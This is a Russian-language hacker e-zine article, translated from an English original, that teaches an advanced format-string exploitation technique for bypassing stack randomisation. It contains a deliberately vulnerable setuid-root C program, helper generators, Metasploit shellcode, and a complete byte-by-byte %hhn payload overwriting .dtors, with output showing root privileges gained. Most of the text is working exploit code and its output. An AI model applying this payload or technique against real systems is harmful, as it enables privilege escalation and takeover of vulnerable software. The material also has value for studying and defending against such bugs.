hack.connect
 
[ru.scene.community]
HackConnect.E-zine issue #1
// 01110 Альтернативные методы эксплуатирования уязвимости format string
Введение.
В этой статье я расскажу вам об альтернативных, более продвинутых методах эксплуатирования уязвимости форматной строки. Предполагается, что вы уже имеете некоторое представление о том, как это работает. Ну, впрочем, для незнающих вкратце расскажу:
Вы располагаете свой шеллкод в буфер, переменная ли это окружения, текстовое поле, над которым вы имеете контроль или буфер форматной строки. Используя его, вы записываете 4-байтовый адрес, указывающий на расположение буфера, в место, которое вызовет выполнение. В большинстве случаев это будет сегмент глобального деструктора [.dtors], EIP, который позже будет извлечен и возвращен, или более экзотические места, такие как глобальная таблица смещения [.got].
Однако и у такого метода есть недостатки, которые проявятся в недалеком будущем, которое неминуемо приближается. Уязвимости переполнения буфера в стеке и format string, как самые распространенные, становится все труднее эксплуатировать и они встречаются все реже. Патчи, такие как Virtual Addresses Randomization заставляют искать другие методы и подходы к поиску багов в ПО. Один из таких методов и будет описан здесь. Мы будем применять традиционные технологии переполнения буфера, только касательно форматной строки, такие как возврат к esp, подмена ret, регистрация вызовов etc…

Теория.
В общем моя технология построена на том, что как бы не перемешивали рандомом стек, дистанция между переменными останется статичной [как минимум, в одном сегменте]. Уже это позволяет вам подобрать простым перебором один адрес и получить остаток, основанный на дистанции от подобранной переменной, но это также дает возможность эксплуатированию уязвимости работать в старом направлении. Я имею в виду число %<this>$hn в нашей строке форматирования.
Randomized VA не позволяет проводить стандартную атаку format string, не давая узнать, где расположен в памяти шеллкод, так как его адрес поменяется. Но что если мы железно укажем, куда его поместить ? Тогда все что нам останется так это записать его адрес в точку выполнения (eip, .dtors, .got).
Как же можно совершить такое? Просто. Вместо того, чтобы прописать всего лишь 4 байта в буфер, мы используем строку форматирвания чтобы записать шеллкод целиком, байт за байтом.

Практика.
Для начала я покажу вам код, который мы будем эксплуатировать, он краток и понятен.

-- begin fmat.c

#include <stdio.h>
#include <unistd.h>
int main (int argc, char **argv) {
char buff[2048];
int i;

i = fread(buff, 1, 2048, stdin);
*(buff+i) = 0;

printf(buff);
return(0);
}

-- end fmat.c --
Замечательно. Теперь нам надо создать строку.

Адресация.
Первая часть нашей строки будет состоять из адресов. Все эти адреса будут указывать на байт с того момента как я продемонстрирую его с %hhn. Первые 4 адреса будут местом, куда мы записали адрес шеллкода и отсюда месторасположение которое инициирует исполнение кода. Для этого я выбрал сегмент .dtor (глобальные деструкторы). Как только это будет сделано, перед завершением программы все адреса функций в ней будут выполнены. Мы хотим поместить адрес на .dtors + 4. Какой там адрес .dtors ?

xzziroz:/home/kspecial# ls -alh fmat
-rwsr-xr-x 1 root kspecial 7.1K 2006-10-12 00:09 fmat
xzziroz:/home/kspecial# objdump -x fmat | grep dtors | head -1
16 .dtors 00000008 08049544 08049544 00000544 2**2
xzziroz:/home/kspecial#
Теперь напишем маленькую программу, которая подготовит нам для работы адреса.
-- begin addy2fmat.c --

#include <stdio.h>
#include <stdlib.h>

int main (int argc, char **argv) {
unsigned addy, length;
char *ptr = (char *) &addy;

if (argc < 3)
exit(1);

sscanf(*(argv+1), "%x", &addy);
sscanf(*(argv+2), "%u", &length);

for (; length; length--, addy++)
printf("\\x%hhx\\x%hhx\\x%hhx\\x%hhx", *ptr, *(ptr+1), *(ptr+2), *(ptr+3));

putchar('\n');

return;
}

-- end addy2fmat.c --

xzziroz:/home/kspecial# ./addy2fmat 08049548 4
\x48\x95\x4\x8\x49\x95\x4\x8\x4a\x95\x4\x8\x4b\x95\x4\x8
xzziroz:/home/kspecial#
Это 4 адреса, каждый из которых указывает на один из 4-х байт адреса, который мы хотим записать (.dtors+4,5,6,7).
Теперь мы должны подготовить адреса для каждого байта шеллкода, который будет записан. Вы можете поместить его везде, где есть доступ на запись (если, конечно, это не помешает работе программы в промежуток времени от записи до выполнения вашего кода). Я собираюсь поместить его в секцию, которую GCC помечает _DYNAMIC.
(gdb) x/100a 0x08049548
0x8049548 <__DTOR_END__>: 0x0 0x0 0x1 0x10
0x8049558 <_DYNAMIC+8>: 0xc 0x80482a0 <_init> 0xd 0x8048514 <_fini>
0x8049568 <_DYNAMIC+24>: 0x4 0x8048148 0x5 0x80481e8
0x8049578 <_DYNAMIC+40>: 0x6 0x8048178 0xa 0x58
0x8049588 <_DYNAMIC+56>: 0xb 0x10 0x15 0xb7f894e4 <_r_debug>
0x8049598 <_DYNAMIC+72>: 0x3 0x804961c <_GLOBAL_OFFSET_TABLE_> 0x2 0x20
0x80495a8 <_DYNAMIC+88>: 0x14 0x11 0x17 0x8048280
0x80495b8 <_DYNAMIC+104>: 0x11 0x8048270 0x12 0x10
0x80495c8 <_DYNAMIC+120>: 0x13 0x8 0x6ffffffe 0x8048250
0x80495d8 <_DYNAMIC+136>: 0x6fffffff 0x1 0
0x80495e8 <_DYNAMIC+152>: 0x0 0x0 0x0 0x0
0x80495f8 <_DYNAMIC+168>: 0x0 0x0 0x0 0x0
0x8049608 <_DYNAMIC+184>: 0x0 0x0 0x0 0x0

0x80495b0 выглядит вполне подходящим. Вот шеллкод, который я буду записывать, он выполняет вызов system() с аргументом /usr/bin/id.
"\x33\xc9\x83\xe9\xf4\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x3b"
"\x6e\x15\xe2\x83\xeb\xfc\xe2\xf4\x51\x65\x4d\x7b\x69\x08\x7d\xcf"
"\x58\xe7\xf2\x8a\x14\x1d\x7d\xe2\x53\x41\x77\x8b\x55\xe7\xf6\xb0"
"\xd3\x62\x15\xe2\x3b\x41\x60\x91\x49\x41\x77\x8b\x55\x41\x7c\x86"
"\x3b\x39\x46\x6b\xda\xa3\x95\xe2";
Кстати, он взят из Metasploit Framework.
Используем ту же прграмму для создания 72-х адресов, начиная с 0x80495b0.
kspecial@xzziroz:~$ ./addy2fmat 0x80495b0 72
\xb0\x95\x4\x8\xb1\x95\x4\x8\xb2\x95\x4\x8\xb3\x95\x4\x8\xb4\x95\x4\x8\xb5\x95\x4\x8\xb6\x95\x4\x8\xb7\x95\x4\x8\xb8\x95\x4\x8\xb9\x95\x4\x8\xba\x95\x4\x8\xbb\x95\x4\x8\xbc\x95\x4\x8\xbd\x95\x4\x8\xbe\x95\x4\x8\xbf\x95\x4\x8\xc0\x95\x4\x8\xc1\x95\x4\x8\xc2\x95\x4\x8\xc3\x95\x4\x8\xc4\x95\x4\x8\xc5\x95\x4\x8\xc6\x95\x4\x8\xc7\x95\x4\x8\xc8\x95\x4\x8\xc9\x95\x4\x8\xca\x95\x4\x8\xcb\x95\x4\x8\xcc\x95\x4\x8\xcd\x95\x4\x8\xce\x95\x4\x8\xcf\x95\x4\x8\xd0\x95\x4\x8\xd1\x95\x4\x8\xd2\x95\x4\x8\xd3\x95\x4\x8\xd4\x95\x4\x8\xd5\x95\x4\x8\xd6\x95\x4\x8\xd7\x95\x4\x8\xd8\x95\x4\x8\xd9\x95\x4\x8\xda\x95\x4\x8\xdb\x95\x4\x8\xdc\x95\x4\x8\xdd\x95\x4\x8\xde\x95\x4\x8\xdf\x95\x4\x8\xe0\x95\x4\x8\xe1\x95\x4\x8\xe2\x95\x4\x8\xe3\x95\x4\x8\xe4\x95\x4\x8\xe5\x95\x4\x8\xe6\x95\x4\x8\xe7\x95\x4\x8\xe8\x95\x4\x8\xe9\x95\x4\x8\xea\x95\x4\x8\xeb\x95\x4\x8\xec\x95\x4\x8\xed\x95\x4\x8\xee\x95\x4\x8\xef\x95\x4\x8\xf0\x95\x4\x8\xf1\x95\x4\x8\xf2\x95\x4\x8\xf3\x95\x4\x8\xf4\x95\x4\x8\xf5\x95\x4\x8\xf6\x95\x4\x8\xf7\x95\x4\x8

Отлично – теперь все, связанное с адресами, сделано.

Данные.
Теперь пришло время записать эти данные по адресам. В первую очередь надо записать a \xb0\x95\x4\x8, так как это будет размещено по адресу 0x8049548 (.dtors+4). После этого необходимо записать шеллкод. Я написал еще одну маленькую программу, которая делает всю работу за меня.

-- begin sc2fmat --

#include <stdio.h>

int main (int argc, char **argv) {
unsigned char last = 0;
unsigned value; unsigned start_ord = 0;
char *ptr = *(argv+1);

if (argc > 2)
sscanf(*(argv+2), "%u", &start_ord);

if (argc > 3)
sscanf(*(argv+3), "%hhu", &last);

for (unsigned i = 256; *ptr; ptr++, start_ord++, i += 256) {
value = *ptr;

if (last) {
value += i;
value -= last;
}


printf("%%%uu%%%u$hhn", value + (i * 256), start_ord);

last = *ptr;
}
putchar('\n');
}

-- end sc2fmat.c --
Чтобы запустить это, нужно просто предоставить данные, которые вы хотите конвертировать (4-х байтный адрес и шеллкод), на расстоянии выталкивания из стека (расстояние от ESP, на котором наши данные размещены). После того как произойдет выталкивание данных из стека, вы должны указать, сколько символов уже было записано (с адресами). Другими словами, мы берем два набора адресов и считаем сколько байтов они занимают. Мы должны также занять 76 * 4 (72 4х байтовых адреса для шеллкода и 4 байта для адреса шеллкода).
echo -en '<addresses>' | wc -c
Мой буфер расположен в 8 байтах от ESP во время выполнения printf, путем установки брейкпоинта на printf я могу проверить это.
Breakpoint 1, 0x0804840b in main ()
(gdb) x/a $esp + 32
0xbfdd3430: 0x8049548 <__DTOR_END__>
Это первый адрес в buff[], поэтому создадим его:
kspecial@xzziroz:~$ ./sc2fmat `echo -en '\xb0\x95\x4\x8\x33\xc9\x83\xe9\xf4\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x3b\x6e\x15\xe2\x83\xeb\xfc\xe2\xf4\x51
\x65\x4d\x7b\x69\x8\x7d\xcf\x58\xe7\xf2\x8a\x14\x1d\x7d\xe2\x53\x41\x77\x8b\x55\xe7\xf6\xb0\xd3\x62\x15\xe2\x3b\x41\x60\x91\x49\x41\x77\x8b\x55\x41\x7c\x86\x3b\x39\x46\x6b\xda\xa3\x95\xe2'` 8 304
%65664u%8$hhn%131301u%9$hhn%197231u%10$hhn%263172u%11$hhn%329003u%12$hhn%394646u%13$hhn%460218u%14$hhn%526182u%15$hhn%591883u%16$hhn%657637u%17$hhn%723477u%18$hhn%789227u%19$hhn%855195u%20$hhn%921008u%21$hhn%986832u%22$hhn%1052519u%23$hhn%1118246u%24$hhn%1184242u%25$hhn%1249952u%26$hhn%1315880u%27$hhn%1381683u%28$hhn%1447335u%29$hhn%1513165u%30$hhn%1578657u%31$hhn%1644648u%32$hhn%1710353u%33$hhn%1776102u%34$hhn%1841938u%35$hhn%1907805u%36$hhn%1973780u%37$hhn%2039528u%38$hhn%2105390u%39$hhn%2171118u%40$hhn%2236831u%41$hhn%2302837u%42$hhn%2368338u%43$hhn%2434185u%44$hhn%2499983u%45$hhn%2565643u%46$hhn%2631320u%47$hhn%2697354u%48$hhn%2763273u%49$hhn%2829152u%50$hhn%2894693u%51$hhn%2960497u%52$hhn%3026414u%53$hhn%3092278u%54$hhn%3157780u%55$hhn%3223754u%56$hhn%3289490u%57$hhn%3355151u%58$hhn%3420858u%59$hhn%3486755u%60$hhn%3552655u%61$hhn%3618483u%62$hhn%3684301u%63$hhn%3749977u%64$hhn%3815942u%65$hhn%3881759u%66$hhn%3947313u%67$hhn%4013240u%68$hhn%4079096u%69$hhn%4144950u%70$hhn%4210452u%71$hhn%4276426u%72$hhn%4342252u%73$hhn%4408123u%74$hhn%4473610u%75$hhn%4539573u%76$hhn%4605438u%77$hhn%4671245u%78$hhn%4737061u%79$hhn%4802671u%80$hhn%4868297u%81$hhn%4934130u%82$hhn%5000013u%83$hhn
kspecial@xzziroz:~$
\xb0\x95\x4\x8 будет записано в .dtors+4 (Каждый из этих байтов относится к первым 4м, 4х байтовый адрес в нашем адресе) Остаток будет записан по другим адресам (туда куда мы выбрали чтоб разместить шеллкод). При завершении программы наш шеллкод будет выполнен, проверим это!
echo -en '\x48\x95\x4\x8\x49\x95\x4\x8\x4a\x95\x4\x8\x4b\x95\x4\x8\xb0\x95\x4\x8\xb1\x95\x4\x8\xb2\x95\x4\x8\xb3\x95\x4\x8\xb4\x95\x4\x8\xb5\x95\x4\x8\xb6
\x95\x4\x8\xb7\x95\x4\x8\xb8\x95\x4\x8\xb9\x95\x4\x8\xba\x95\x4\x8\xbb\x95\x4\x8\xbc\x95\x4\x8\xbd\x95\x4\x8\xbe\x95\x4\x8\xbf\x95\x4\x8\xc0\x95\x4\x8\xc1\x95\x4\x8\xc2\x95\x4\x8\xc3\x95\x4\x8\xc4\x95\x4\x8\xc5\x95\x4\x8\xc6\x95\x4\x8\xc7\x95\x4\x8\xc8\x95\x4\x8\xc9\x95\x4\x8\xca\x95\x4\x8\xcb\x95\x4\x8\xcc\x95\x4\x8\xcd\x95\x4\x8\xce\x95\x4\x8\xcf\x95\x4\x8\xd0\x95\x4\x8\xd1\x95\x4\x8\xd2\x95\x4\x8\xd3\x95\x4\x8\xd4\x95\x4\x8\xd5\x95\x4\x8\xd6\x95\x4\x8\xd7\x95\x4\x8\xd8\x95\x4\x8\xd9\x95\x4\x8\xda\x95\x4\x8\xdb\x95\x4\x8\xdc\x95\x4\x8\xdd\x95\x4\x8\xde\x95\x4\x8\xdf\x95\x4\x8\xe0\x95\x4\x8\xe1\x95\x4\x8\xe2\x95\x4\x8\xe3\x95\x4\x8\xe4\x95\x4\x8\xe5\x95\x4\x8\xe6\x95\x4\x8\xe7\x95\x4\x8\xe8\x95\x4\x8\xe9\x95\x4\x8\xea\x95\x4\x8\xeb\x95\x4\x8\xec\x95\x4\x8\xed\x95\x4\x8\xee\x95\x4\x8\xef\x95\x4\x8\xf0\x95\x4\x8\xf1\x95\x4\x8\xf2\x95\x4\x8\xf3\x95\x4\x8\xf4\x95\x4\x8\xf5\x95\x4\x8\xf6\x95\x4\x8\xf7\x95\x4\x8%65664u%8$hhn%131301u%9$hhn%197231u%10$hhn%263172u%11$hhn%329003u%12$hhn%394646u%13$hhn%460218u%14$hhn%526182u%15$hhn%591883u%16$hhn%657637u%17$hhn%723477u%18$hhn%789227u%19$hhn%855195u%20$hhn%921008u%21$hhn%986832u%22$hhn%1052519u%23$hhn%1118246u%24$hhn%1184242u%25$hhn%1249952u%26$hhn%1315880u%27$hhn%1381683u%28$hhn%1447335u%29$hhn%1513165u%30$hhn%1578657u%31$hhn%1644648u%32$hhn%1710353u%33$hhn%1776102u%34$hhn%1841938u%35$hhn%1907805u%36$hhn%1973780u%37$hhn%2039528u%38$hhn%2105390u%39$hhn%2171118u%40$hhn%2236831u%41$hhn%2302837u%42$hhn%2368338u%43$hhn%2434185u%44$hhn%2499983u%45$hhn%2565643u%46$hhn%2631320u%47$hhn%2697354u%48$hhn%2763273u%49$hhn%2829152u%50$hhn%2894693u%51$hhn%2960497u%52$hhn%3026414u%53$hhn%3092278u%54$hhn%3157780u%55$hhn%3223754u%56$hhn%3289490u%57$hhn%3355151u%58$hhn%3420858u%59$hhn%3486755u%60$hhn%3552655u%61$hhn%3618483u%62$hhn%3684301u%63$hhn%3749977u%64$hhn%3815942u%65$hhn%3881759u%66$hhn%3947313u%67$hhn%4013240u%68$hhn%4079096u%69$hhn%4144950u%70$hhn%4210452u%71$hhn%4276426u%72$hhn%4342252u%73$hhn%4408123u%74$hhn%4473610u%75$hhn%4539573u%76$hhn%4605438u%77$hhn%4671245u%78$hhn%4737061u%79$hhn%4802671u%80$hhn%4868297u%81$hhn%4934130u%82$hhn%5000013u%83$hhn' > file

kspecial@xzziroz:~$ ./fmat < file | tail -c 200
uid=1000(kspecial) gid=1000(kspecial) euid=0(root) groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),107(powerdev),1000(kspecial)

Как и ожидалось, работает. Мы записываем форматную строку в 'file' и отсылаем ее к printf, в конце вывода ~150 мегабайт мусора будет запущен наш шеллкод. Может быть, это самая большая форматная строка в вашей жизни, но она позволяет сделать многое.

Размер.
Вы можете уменьшить размер вашей форматной строки используя несколько простых методов:
1. Уменьшить шеллкод
2. Использовать %n вместо %hhn для записи размера word.
3.

Эпилог.
Надеюсь вам это пригодится. Я сделал это ! --K-sPecial

Перевод by DeaDMonaX || Оригинал.

/* ----------------------------------------------------[contents]----------------------------------------------------- */